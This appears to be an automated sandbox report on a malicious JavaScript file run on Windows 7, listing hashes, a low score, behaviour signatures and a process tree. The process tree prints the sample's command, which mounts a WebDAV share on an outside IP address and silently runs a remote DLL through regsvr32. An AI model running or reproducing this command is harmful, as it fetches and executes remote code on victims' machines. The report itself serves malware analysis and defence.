Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    21/07/2024, 19:07

General

  • Target

    1491410483381627037.js

  • Size

    4KB

  • MD5

    62a66376474955bc5af227ac53ab027e

  • SHA1

    ec322c39698c5d00615fa42bbe1bf1b8b05aac4b

  • SHA256

    8575345dcb7b73feba818b96f1eff5ce40d76bd4384977233dd72c2a8bb1072e

  • SHA512

    ef70c48cd3d960098e97c23f3b3cae071d9588ff74462690e9aedc4a3502f88600e094fc7253e1460e90f006c536f5285ae9c8605cf575b3934b972e0d2f4522

  • SSDEEP

    48:1wTVsajIWcEeMnT4ML99RiNay53J9WwO0ikv8/WISt3u7yFkAksmTSt3u7yFkFOW:Ksaj4xcBXRwvXYkv8/r03SFAkx03SF7

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1491410483381627037.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3032
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\32238313189311.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2444
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2060

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads